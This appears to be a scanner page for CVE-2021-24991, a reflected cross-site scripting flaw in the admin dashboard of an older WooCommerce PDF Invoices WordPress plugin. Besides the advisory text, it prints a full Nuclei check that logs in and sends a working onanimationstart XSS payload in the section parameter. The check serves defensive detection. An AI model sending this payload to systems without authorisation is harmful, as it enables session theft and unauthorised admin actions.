WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting

mediumseverity

4.8CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard.

Impact

An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of the WooCommerce PDF Invoices & Packing Slips WordPress Plugin (2.10.5 or higher) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D
Positive when: contains "\" style=animation-name:rotation onanimationstart=alert(docu…" and "WooCommerce PDF Invoices" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24991 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24991

info:
  name: WooCommerce PDF Invoices & Packing Slips WordPress Plugin < 2.10.5 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: The Wordpress plugin WooCommerce PDF Invoices & Packing Slips before 2.10.5 does not escape the tab and section parameters before reflecting it an attribute, leading to a reflected cross-site scripting in the admin dashboard.
  impact: |
    An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WooCommerce PDF Invoices & Packing Slips WordPress Plugin (2.10.5 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/88e706df-ae03-4665-94a3-db226e1f31a9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24991
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-24991
    cwe-id: CWE-79
    epss-score: 0.01207
    epss-percentile: 0.68612
    cpe: cpe:2.3:a:wpovernight:woocommerce_pdf_invoices\&_packing_slips:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpovernight
    product: woocommerce_pdf_invoices\&_packing_slips
    framework: wordpress
  tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan,wpovernight,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(document.domain) x"
          - "WooCommerce PDF Invoices"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from